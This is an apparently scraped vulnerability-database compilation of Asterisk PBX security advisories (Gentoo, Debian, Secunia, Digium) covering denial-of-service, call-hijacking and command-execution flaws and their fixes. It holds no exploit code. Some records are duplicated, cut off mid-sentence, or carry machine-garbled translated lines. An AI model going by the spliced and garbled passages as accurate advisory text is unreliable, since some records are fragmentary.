http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2415\n[ 3 ] CVE-2012-2416\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2416\n[ 4 ] CVE-2012-2947\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2947\n[ 5 ] CVE-2012-2948\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2948\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-201206-05.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2012 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. When an SCCP client \n closes its connection to the server, a pointer in a \n structure is set to Null. If the client was not in the \n on-hook state at the time the connection was closed, this \n pointer is later dereferenced. \"Off hook\") to crash \n the server. Successful exploitation of this vulnerability \n would result in termination of the server, causing denial \n of service to legitimate users.\" \n\n Resolution The pointer to the device in the structure is now checked \n before it is dereferenced in the channel event callbacks and \n message handling functions. \n\n Affected Versions\n Product Release Series \n Asterisk Open Source 1.8.x All Versions \n Asterisk Open Source 10.x All Versions \n Certified Asterisk 1.8.11-cert 1.8.11-cert1 \n\n Corrected In\n Product Release \n Asterisk Open Source 1.8.12.1, 10.4.1 \n Certified Asterisk 1.8.11-cert2 \n\n Patches \n SVN URL Revision \nhttp://downloads.asterisk.org/pub/security/AST-2012-008-1.8.diff v1.8 \nhttp://downloads.asterisk.org/pub/security/AST-2012-008-10.diff v10 \nhttp://downloads.asterisk.org/pub/security/AST-2012-008-1.8.11-cert.diff v1.8.11-cert \n\n Links https://issues.asterisk.org/jira/browse/ASTERISK-19905 \n\n Asterisk Project Security Advisories are posted at \n http://www.asterisk.org/security \n \n This document may be superseded by later versions; if so, the latest \n version will be posted at \n http://downloads.digium.com/pub/security/AST-2012-008.pdf and \n http://downloads.digium.com/pub/security/AST-2012-008.html \n\n Revision History\n Date Editor Revisions Made \n 05/25/2012 Matt Jordan Initial Release \n\n Asterisk Project Security Advisory - AST-2012-008\n Copyright (c) 2012 Digium, Inc. All Rights Reserved. \n Permission is hereby granted to distribute and publish this advisory in its\n original, unaltered form. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \n\nIn addition, it was discovered that Asterisk does not set the\nalwaysauthreject option by default in the SIP channel driver. This\nallows remote attackers to observe a difference in response behavior\nand check for the presence of account names. (CVE-2011-2666) System\nadministrators concerned by this user enumerating vulnerability should\nenable the alwaysauthreject option in the configuration. We do not\nplan to change the default setting in the stable version\n(Asterisk 1.6) in order to preserve backwards compatibility. \n\nFor the testing distribution (wheezy) and the unstable distribution\n(sid), this problem has been fixed in version 1:1.8.13.0~dfsg-1. \n\nWe recommend that you upgrade your asterisk packages. \n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.10 (GNU/Linux)\n\niQEcBAEBAgAGBQJP15u9AAoJEL97/wQC1SS+Pu0H/0ZPFRSNpL+hJKd7b5FGF6al\nBZSp51eAC0d2mEFWMml4DAvx6u1gMPzrO9PPNgsEc6gxNyD4Stj+rF54h6X5i5NR\nZSlyeQTQ292J18+LdANYWwxQJyzNNthNmYL/2AiR6z2BRnD3ZqHiPbWGv0FV4Vyw\nrT8fZ7ujp7CQlFGwcqjPxUzBqEq5U2raN2K9BoP6zpu8mHf9WzcmL4KZR/wJxMkf\n04McrMttF++gM3atFSSXCWC5Bpj8q0xpr3YIv0dI8+fWPFpevNX2MBM+diS06iNc\nPUWfCPTy2Psl46dC3J+JeF8TPWE/HCmV98DD54DEv0R1tPUmNm362dtfiutiBbQ=\n=Wy1e\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n. ----------------------------------------------------------------------\n\nBecome a PSI 3.0 beta tester!\nTest-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. \nDownload it here!\nhttp://secunia.com/psi_30_beta_launch\n\n----------------------------------------------------------------------\n\nTITLE:\nAsterisk Two Denial of Service Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA49303\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/49303/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=49303\n\nRELEASE DATE:\n2012-05-30\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/49303/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/49303/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=49303\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in Asterisk, which can be\nexploited by malicious people to cause a DoS (Denial of Service). \n\n1) An error in IAX2 channel driver within the\n\"handle_request_update()\" function (channels/chan_sip.c) when placing\nan established call on hold can be exploited to cause a crash via\nspecially crafted packets. \n\nSuccessful exploitation of this vulnerability requires that the\nsetting mohinterpret=passthrough is set and that the call is placed\non hold without a suggested music-on-hold class name. \n\n2) An error in SCCP (Skinny) channel driver (channels/chan_skinny.c)\nwhen handling termination of a client\u0027s connection can be exploited\nto cause a crash by closing a connection to the server in certain\ncall states. \n\nThe vulnerabilities are reported in versions 1.8.11-cert prior to\n1.8.11-cert2, 1.8.x prior to 1.8.12.1, and 10.x prior to 10.4.1. \n\nSOLUTION:\nUpdate to a fixed version. \n\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nPROVIDED AND/OR DISCOVERED BY:\nThe vendor credits:\n1) mgrobecker\n2) Christoph Hebeisen\n\nORIGINAL ADVISORY:\nhttp://downloads.asterisk.org/pub/security/AST-2012-007.html\nhttp://downloads.asterisk.org/pub/security/AST-2012-008.html\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n",
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VAR-200909-0357
Vulnerability from variot - Updated: 2025-04-10 20:42The IAX2 protocol implementation in Asterisk Open Source 1.2.x before 1.2.35, 1.4.x before 1.4.26.2, 1.6.0.x before 1.6.0.15, and 1.6.1.x before 1.6.1.6; Business Edition B.x.x before B.2.5.10, C.2.x before C.2.4.3, and C.3.x before C.3.1.1; and s800i 1.3.x before 1.3.0.3 allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many IAX2 message exchanges, a related issue to CVE-2008-3263. The problem is CVE-2008-3263 Related toBy a third party IAX2 Service operation disruption by starting message exchange ( Call number exhaustion ) There is a possibility of being put into a state. Asterisk is prone to a remote denial-of-service vulnerability because it fails to properly handle an excessive amount of call numbers. Successful exploits can cause the application to stop accepting connections, resulting in denial-of-service conditions for legitimate users.
The vulnerabilities are caused due to NULL-pointer dereference errors in the "sip_uri_params_cmp()" and "sip_uri_headers_cmp()" functions. This can be exploited to crash the application via a SIP message lacking certain headers.
Successful exploitation requires that the SIP channel driver is configured with the "pedantic" option enabled.
PROVIDED AND/OR DISCOVERED BY: The vendor credits bugs.digium.com user klaus3000. Asterisk Project Security Advisory - AST-2009-006
+------------------------------------------------------------------------+ | Product | Asterisk | |--------------------+---------------------------------------------------| | Summary | IAX2 Call Number Resource Exhaustion | |--------------------+---------------------------------------------------| | Nature of Advisory | Denial of Service | |--------------------+---------------------------------------------------| | Susceptibility | Remote unauthenticated sessions | |--------------------+---------------------------------------------------| | Severity | Major | |--------------------+---------------------------------------------------| | Exploits Known | Yes - Published by Blake Cornell < blake AT | | | remoteorigin DOT com > on voip0day.com | |--------------------+---------------------------------------------------| | Reported On | June 22, 2008 | |--------------------+---------------------------------------------------| | Reported By | Noam Rathaus < noamr AT beyondsecurity DOT com >, | | | with his SSD program, also by Blake Cornell | |--------------------+---------------------------------------------------| | Posted On | September 3, 2009 | |--------------------+---------------------------------------------------| | Last Updated On | September 3, 2009 | |--------------------+---------------------------------------------------| | Advisory Contact | Russell Bryant < russell AT digium DOT com > | |--------------------+---------------------------------------------------| | CVE Name | CVE-2009-2346 | +------------------------------------------------------------------------+
+------------------------------------------------------------------------+ | Description | The IAX2 protocol uses a call number to associate | | | messages with the call that they belong to. However, the | | | protocol defines the call number field in messages as a | | | fixed size 15 bit field. So, if all call numbers are in | | | use, no additional sessions can be handled. | | | | | | A call number gets created at the start of an IAX2 | | | message exchange. So, an attacker can send a large | | | number of messages and consume the call number space. | | | The attack is also possible using spoofed source IP | | | addresses as no handshake is required before a call | | | number is assigned. | +------------------------------------------------------------------------+
+------------------------------------------------------------------------+ | Resolution | Upgrade to a version of Asterisk listed in this document | | | as containing the IAX2 protocol security enhancements. In | | | addition to upgrading, administrators should consult the | | | users guide section of the IAX2 Security document | | | (IAX2-security.pdf), as well as the sample configuration | | | file for chan_iax2 that have been distributed with those | | | releases for assistance with new options that have been | | | provided. | +------------------------------------------------------------------------+
+------------------------------------------------------------------------+ | Discussion | A lot of time was spent trying to come up with a way to | | | resolve this issue in a way that was completely backwards | | | compatible. However, the final resolution ended up | | | requiring a modification to the IAX2 protocol. This | | | modification is referred to as call token validation. | | | Call token validation is used as a handshake before call | | | numbers are assigned to IAX2 connections. | | | | | | Call token validation by itself does not resolve the | | | issue. However, it does allow an IAX2 server to validate | | | that the source of the messages has not been spoofed. In | | | addition to call token validation, Asterisk now also has | | | the ability to limit the amount of call numbers assigned | | | to a given remote IP address. | | | | | | The combination of call token validation and call number | | | allocation limits is used to mitigate this denial of | | | service issue. | | | | | | An alternative approach to securing IAX2 would be to use | | | a security layer on top of IAX2, such as DTLS [RFC4347] | | | or IPsec [RFC4301]. All Rights Reserved. Permission is hereby granted to distribute and publish this advisory in its original, unaltered form.
Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . This fixes some vulnerabilities, which can be exploited by malicious people to cause a DoS (Denial of Service). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-20
http://security.gentoo.org/
Severity: Normal Title: Asterisk: Multiple vulnerabilities Date: June 04, 2010 Bugs: #281107, #283624, #284892, #295270 ID: 201006-20
Synopsis
Multiple vulnerabilities in Asterisk might allow remote attackers to cause a Denial of Service condition, or conduct other attacks.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/asterisk < 1.2.37 >= 1.2.37
Description
Multiple vulnerabilities have been reported in Asterisk:
-
Nick Baggott reported that Asterisk does not properly process overly long ASCII strings in various packets (CVE-2009-2726).
-
Noam Rathaus and Blake Cornell reported a flaw in the IAX2 protocol implementation (CVE-2009-2346).
-
amorsen reported an input processing error in the RTP protocol implementation (CVE-2009-4055).
-
Patrik Karlsson reported an information disclosure flaw related to the REGISTER message (CVE-2009-3727).
-
A vulnerability was found in the bundled Prototype JavaScript library, related to AJAX calls (CVE-2008-7220).
Impact
A remote attacker could exploit these vulnerabilities by sending a specially crafted package, possibly causing a Denial of Service condition, or resulting in information disclosure.
Workaround
There is no known workaround at this time.
Resolution
All Asterisk users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/asterisk-1.2.37"
NOTE: This is a legacy GLSA. Updates for all affected architectures are available since January 5, 2010. It is likely that your system is already no longer affected by this issue.
References
[ 1 ] CVE-2009-2726 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726 [ 2 ] CVE-2009-2346 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346 [ 3 ] CVE-2009-4055 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4055 [ 4 ] CVE-2009-3727 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3727 [ 5 ] CVE-2008-7220 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7220
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201006-20.xml
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2010 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5 . ----------------------------------------------------------------------
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TITLE: Asterisk IAX2 Call Number Exhaustion Denial of Service
SECUNIA ADVISORY ID: SA36593
VERIFY ADVISORY: http://secunia.com/advisories/36593/
DESCRIPTION: A vulnerability has been reported in Asterisk, which can be exploited by malicious people to cause a DoS (Denial of Service).
S800i (Asterisk Appliance): Update to version 1.3.0.3.
PROVIDED AND/OR DISCOVERED BY: The vendor credits: * Noam Rathaus * Blake Cornell
ORIGINAL ADVISORY: http://downloads.asterisk.org/pub/security/AST-2009-006.html
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.
The vulnerabilities are caused due to "sscanf()" being invoked without specifying a maximum width e.g. when processing SIP messages. This can be exploited to exhaust stack memory in the SIP stack network thread via overly long numeric strings in various fields of a message.
NOTE: According to the vendor this is only potentially exploitable in 1.6.1 and above
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"data": "The IAX2 protocol implementation in Asterisk Open Source 1.2.x before 1.2.35, 1.4.x before 1.4.26.2, 1.6.0.x before 1.6.0.15, and 1.6.1.x before 1.6.1.6; Business Edition B.x.x before B.2.5.10, C.2.x before C.2.4.3, and C.3.x before C.3.1.1; and s800i 1.3.x before 1.3.0.3 allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many IAX2 message exchanges, a related issue to CVE-2008-3263. The problem is CVE-2008-3263 Related toBy a third party IAX2 Service operation disruption by starting message exchange ( Call number exhaustion ) There is a possibility of being put into a state. Asterisk is prone to a remote denial-of-service vulnerability because it fails to properly handle an excessive amount of call numbers. \nSuccessful exploits can cause the application to stop accepting connections, resulting in denial-of-service conditions for legitimate users. \n\nThe vulnerabilities are caused due to NULL-pointer dereference errors\nin the \"sip_uri_params_cmp()\" and \"sip_uri_headers_cmp()\" functions. \nThis can be exploited to crash the application via a SIP message\nlacking certain headers. \n\nSuccessful exploitation requires that the SIP channel driver is\nconfigured with the \"pedantic\" option enabled. \n\nPROVIDED AND/OR DISCOVERED BY:\nThe vendor credits bugs.digium.com user klaus3000. Asterisk Project Security Advisory - AST-2009-006\n\n +------------------------------------------------------------------------+\n | Product | Asterisk |\n |--------------------+---------------------------------------------------|\n | Summary | IAX2 Call Number Resource Exhaustion |\n |--------------------+---------------------------------------------------|\n | Nature of Advisory | Denial of Service |\n |--------------------+---------------------------------------------------|\n | Susceptibility | Remote unauthenticated sessions |\n |--------------------+---------------------------------------------------|\n | Severity | Major |\n |--------------------+---------------------------------------------------|\n | Exploits Known | Yes - Published by Blake Cornell \u003c blake AT |\n | | remoteorigin DOT com \u003e on voip0day.com |\n |--------------------+---------------------------------------------------|\n | Reported On | June 22, 2008 |\n |--------------------+---------------------------------------------------|\n | Reported By | Noam Rathaus \u003c noamr AT beyondsecurity DOT com \u003e, |\n | | with his SSD program, also by Blake Cornell |\n |--------------------+---------------------------------------------------|\n | Posted On | September 3, 2009 |\n |--------------------+---------------------------------------------------|\n | Last Updated On | September 3, 2009 |\n |--------------------+---------------------------------------------------|\n | Advisory Contact | Russell Bryant \u003c russell AT digium DOT com \u003e |\n |--------------------+---------------------------------------------------|\n | CVE Name | CVE-2009-2346 |\n +------------------------------------------------------------------------+\n\n +------------------------------------------------------------------------+\n | Description | The IAX2 protocol uses a call number to associate |\n | | messages with the call that they belong to. However, the |\n | | protocol defines the call number field in messages as a |\n | | fixed size 15 bit field. So, if all call numbers are in |\n | | use, no additional sessions can be handled. |\n | | |\n | | A call number gets created at the start of an IAX2 |\n | | message exchange. So, an attacker can send a large |\n | | number of messages and consume the call number space. |\n | | The attack is also possible using spoofed source IP |\n | | addresses as no handshake is required before a call |\n | | number is assigned. |\n +------------------------------------------------------------------------+\n\n +------------------------------------------------------------------------+\n | Resolution | Upgrade to a version of Asterisk listed in this document |\n | | as containing the IAX2 protocol security enhancements. In |\n | | addition to upgrading, administrators should consult the |\n | | users guide section of the IAX2 Security document |\n | | (IAX2-security.pdf), as well as the sample configuration |\n | | file for chan_iax2 that have been distributed with those |\n | | releases for assistance with new options that have been |\n | | provided. |\n +------------------------------------------------------------------------+\n\n +------------------------------------------------------------------------+\n | Discussion | A lot of time was spent trying to come up with a way to |\n | | resolve this issue in a way that was completely backwards |\n | | compatible. However, the final resolution ended up |\n | | requiring a modification to the IAX2 protocol. This |\n | | modification is referred to as call token validation. |\n | | Call token validation is used as a handshake before call |\n | | numbers are assigned to IAX2 connections. |\n | | |\n | | Call token validation by itself does not resolve the |\n | | issue. However, it does allow an IAX2 server to validate |\n | | that the source of the messages has not been spoofed. In |\n | | addition to call token validation, Asterisk now also has |\n | | the ability to limit the amount of call numbers assigned |\n | | to a given remote IP address. |\n | | |\n | | The combination of call token validation and call number |\n | | allocation limits is used to mitigate this denial of |\n | | service issue. |\n | | |\n | | An alternative approach to securing IAX2 would be to use |\n | | a security layer on top of IAX2, such as DTLS [RFC4347] |\n | | or IPsec [RFC4301]. All Rights Reserved. \n Permission is hereby granted to distribute and publish this advisory in its\n original, unaltered form. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n. This fixes some\nvulnerabilities, which can be exploited by malicious people to cause\na DoS (Denial of Service). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 201006-20\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n http://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n Title: Asterisk: Multiple vulnerabilities\n Date: June 04, 2010\n Bugs: #281107, #283624, #284892, #295270\n ID: 201006-20\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities in Asterisk might allow remote attackers to\ncause a Denial of Service condition, or conduct other attacks. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 net-misc/asterisk \u003c 1.2.37 \u003e= 1.2.37\n\nDescription\n===========\n\nMultiple vulnerabilities have been reported in Asterisk:\n\n* Nick Baggott reported that Asterisk does not properly process\n overly long ASCII strings in various packets (CVE-2009-2726). \n\n* Noam Rathaus and Blake Cornell reported a flaw in the IAX2 protocol\n implementation (CVE-2009-2346). \n\n* amorsen reported an input processing error in the RTP protocol\n implementation (CVE-2009-4055). \n\n* Patrik Karlsson reported an information disclosure flaw related to\n the REGISTER message (CVE-2009-3727). \n\n* A vulnerability was found in the bundled Prototype JavaScript\n library, related to AJAX calls (CVE-2008-7220). \n\nImpact\n======\n\nA remote attacker could exploit these vulnerabilities by sending a\nspecially crafted package, possibly causing a Denial of Service\ncondition, or resulting in information disclosure. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll Asterisk users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=net-misc/asterisk-1.2.37\"\n\nNOTE: This is a legacy GLSA. Updates for all affected architectures are\navailable since January 5, 2010. It is likely that your system is\nalready no longer affected by this issue. \n\nReferences\n==========\n\n [ 1 ] CVE-2009-2726\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726\n [ 2 ] CVE-2009-2346\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346\n [ 3 ] CVE-2009-4055\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4055\n [ 4 ] CVE-2009-3727\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3727\n [ 5 ] CVE-2008-7220\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7220\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-201006-20.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2010 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. ----------------------------------------------------------------------\n\nDo you have VARM strategy implemented?\n\n(Vulnerability Assessment Remediation Management) \n\nIf not, then implement it through the most reliable vulnerability\nintelligence source on the market. \n\nImplement it through Secunia. \n\nFor more information visit:\nhttp://secunia.com/advisories/business_solutions/\n\nAlternatively request a call from a Secunia representative today to\ndiscuss how we can help you with our capabilities contact us at:\nsales@secunia.com\n\n----------------------------------------------------------------------\n\nTITLE:\nAsterisk IAX2 Call Number Exhaustion Denial of Service\n\nSECUNIA ADVISORY ID:\nSA36593\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/36593/\n\nDESCRIPTION:\nA vulnerability has been reported in Asterisk, which can be exploited\nby malicious people to cause a DoS (Denial of Service). \n\nS800i (Asterisk Appliance):\nUpdate to version 1.3.0.3. \n\nPROVIDED AND/OR DISCOVERED BY:\nThe vendor credits:\n* Noam Rathaus\n* Blake Cornell\n\nORIGINAL ADVISORY:\nhttp://downloads.asterisk.org/pub/security/AST-2009-006.html\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. \n\nThe vulnerabilities are caused due to \"sscanf()\" being invoked\nwithout specifying a maximum width e.g. when processing SIP messages. \nThis can be exploited to exhaust stack memory in the SIP stack network\nthread via overly long numeric strings in various fields of a\nmessage. \n\nNOTE: According to the vendor this is only potentially exploitable in\n1.6.1 and above",
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VAR-201905-0637
Vulnerability from variot - Updated: 2024-11-23 22:58asterisk 13.10.0 is affected by: denial of service issues in asterisk. The impact is: cause a denial of service (remote). asterisk Is NULL A vulnerability related to pointer dereference exists.Service operation interruption (DoS) There is a possibility of being put into a state. DigiumAsterisk is a set of open source telephone exchange (PBX) system software from Digium, USA. The software supports voicemail, multi-party voice conferencing, interactive voice response (IVR) and more. A security vulnerability exists in DigiumAsterisk version 13.10.0
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VAR-202011-0904
Vulnerability from variot - Updated: 2024-11-23 22:40A res_pjsip_session crash was discovered in Asterisk Open Source 13.x before 13.37.1, 16.x before 16.14.1, 17.x before 17.8.1, and 18.x before 18.0.1. and Certified Asterisk before 16.8-cert5. Upon receiving a new SIP Invite, Asterisk did not return the created dialog locked or referenced. This caused a gap between the creation of the dialog object, and its next use by the thread that created it. Depending on some off-nominal circumstances and timing, it was possible for another thread to free said dialog in this gap. Asterisk could then crash when the dialog object, or any of its dependent objects, were dereferenced or accessed next by the initial-creation thread. Note, however, that this crash can only occur when using a connection-oriented protocol (e.g., TCP or TLS, but not UDP) for SIP transport. Also, the remote client must be authenticated, or Asterisk must be configured for anonymous calling
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VAR-202011-0887
Vulnerability from variot - Updated: 2024-11-23 22:11An issue was discovered in Asterisk Open Source 13.x before 13.37.1, 16.x before 16.14.1, 17.x before 17.8.1, and 18.x before 18.0.1 and Certified Asterisk before 16.8-cert5. If Asterisk is challenged on an outbound INVITE and the nonce is changed in each response, Asterisk will continually send INVITEs in a loop. This causes Asterisk to consume more and more memory since the transaction will never terminate (even if the call is hung up), ultimately leading to a restart or shutdown of Asterisk. Outbound authentication must be configured on the endpoint for this to occur
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VAR-201806-0745
Vulnerability from variot - Updated: 2024-11-23 22:00An issue was discovered in Asterisk Open Source 15.x before 15.4.1. When connected to Asterisk via TCP/TLS, if the client abruptly disconnects, or sends a specially crafted message, then Asterisk gets caught in an infinite loop while trying to read the data stream. This renders the system unusable. Asterisk Open Source Contains an authentication vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. DigiumAsteriskOpenSource is an open source telephone exchange (PBX) system software from Digium, USA. The software supports voicemail, multi-party voice conferencing, interactive voice response (IVR) and more. A security vulnerability exists in the 15.x version prior to DigiumAsteriskOpenSource 15.4.1. Attackers can exploit this issue to crash the application, resulting in a denial-of-service condition
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VAR-201911-1169
Vulnerability from variot - Updated: 2024-11-23 21:52An issue was discovered in manager.c in Sangoma Asterisk through 13.x, 16.x, 17.x and Certified Asterisk 13.21 through 13.21-cert4. A remote authenticated Asterisk Manager Interface (AMI) user without system authorization could use a specially crafted Originate AMI request to execute arbitrary system commands. Refer to the vendor information and take appropriate measures. Sangoma Technologies Asterisk is an open source telephone exchange (PBX) system software. The software supports voice mail, multi-party voice conferencing, interactive voice response (IVR), and more.
Affected Versions
Product Release
Series
Asterisk Open Source 13.x All releases
Asterisk Open Source 16.x All releases
Asterisk Open Source 17.x All releases
Certified Asterisk 13.21 All releases
Corrected In
Product Release
Asterisk Open Source 13.29.2
Asterisk Open Source 16.6.2
Asterisk Open Source 17.0.1
Certified Asterisk 13.21-cert5
Patches
SVN URL Revision
http://downloads.asterisk.org/pub/security/AST-2019-007-13.diff Asterisk 13
http://downloads.asterisk.org/pub/security/AST-2019-007-16.diff Asterisk 16
http://downloads.asterisk.org/pub/security/AST-2019-007-17.diff Asterisk 17
http://downloads.asterisk.org/pub/security/AST-2019-007-13.21.diff Certified
Asterisk
13.21-cert5
Links https://issues.asterisk.org/jira/browse/ASTERISK-28580
Asterisk Project Security Advisories are posted at
http://www.asterisk.org/security
This document may be superseded by later versions; if so, the latest
version will be posted at
http://downloads.digium.com/pub/security/AST-2019-007.pdf and
http://downloads.digium.com/pub/security/AST-2019-007.html
Revision History
Date Editor Revisions Made
October 24, 2019 George Joseph Initial Revision
November 21, 2019 Ben Ford Added “Posted On” date
Asterisk Project Security Advisory - AST-2019-007
Copyright © 2019 Digium, Inc. All Rights Reserved.
Permission is hereby granted to distribute and publish this advisory in its original, unaltered form
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VAR-201911-0701
Vulnerability from variot - Updated: 2024-11-23 21:52An issue was discovered in channels/chan_sip.c in Sangoma Asterisk 13.x before 13.29.2, 16.x before 16.6.2, and 17.x before 17.0.1, and Certified Asterisk 13.21 before cert5. A SIP request can be sent to Asterisk that can change a SIP peer's IP address. A REGISTER does not need to occur, and calls can be hijacked as a result. The only thing that needs to be known is the peer's name; authentication details such as passwords do not need to be known. This vulnerability is only exploitable when the nat option is set to the default, or auto_force_rport. Sangoma Technologies Asterisk is an open source telephone exchange (PBX) system software. The software supports voice mail, multi-party voice conferencing, interactive voice response (IVR), and more. An attacker could use this vulnerability to cause a denial of service.
Nature of Advisory Denial of Service
Susceptibility Remote Unauthenticated Sessions
Severity Minor
Exploits Known No
Reported On October 17, 2019
Reported By Andrey V. T.
Modules Affected channels/chan_sip.c
Resolution Using any other option value for “nat” will prevent the
